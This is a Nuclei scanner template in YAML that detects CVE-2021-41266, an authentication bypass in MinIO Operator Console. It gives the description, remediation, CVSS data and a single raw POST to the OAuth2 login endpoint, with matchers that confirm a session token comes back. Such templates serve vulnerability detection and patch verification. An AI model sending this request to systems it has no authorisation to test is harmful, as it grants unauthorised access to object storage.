57 lines
2.0 KiB
YAML
57 lines
2.0 KiB
YAML
id: CVE-2021-41266
|
|
|
|
info:
|
|
name: MinIO Operator Console Authentication Bypass
|
|
author: alevsk
|
|
severity: critical
|
|
description: |
|
|
MinIO Console is a graphical user interface for the for MinIO Operator. MinIO itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled.
|
|
remediation: 'Update to v.0.12.3 or higher. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token.'
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-41266
|
|
- https://github.com/minio/console/security/advisories/GHSA-4999-659w-mq36
|
|
- https://github.com/minio/console/pull/1217
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-41266
|
|
cwe-id: CWE-306
|
|
epss-score: 0.05383
|
|
epss-percentile: 0.92324
|
|
cpe: cpe:2.3:a:min:minio_console:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: min
|
|
product: minio_console
|
|
tags: cve,cve2021,minio
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /api/v1/login/oauth2/auth HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Content-Type: application/json
|
|
|
|
{"code":"test","state":"test"}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "sessionId"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "token"
|
|
|
|
- type: status
|
|
status:
|
|
- 201
|
|
- 200
|
|
condition: or
|
|
|
|
# digest: 4b0a00483046022100f548db3e72f8e168468a8529adef0c13067670de83552f3ad92cf674226ea9f9022100c1a75b142b61fb3ddafa646e1239f84ed3ced71510c7e6f7a7d054aa9a8e73fd:922c64590222798bb761d5b6d8e72950
|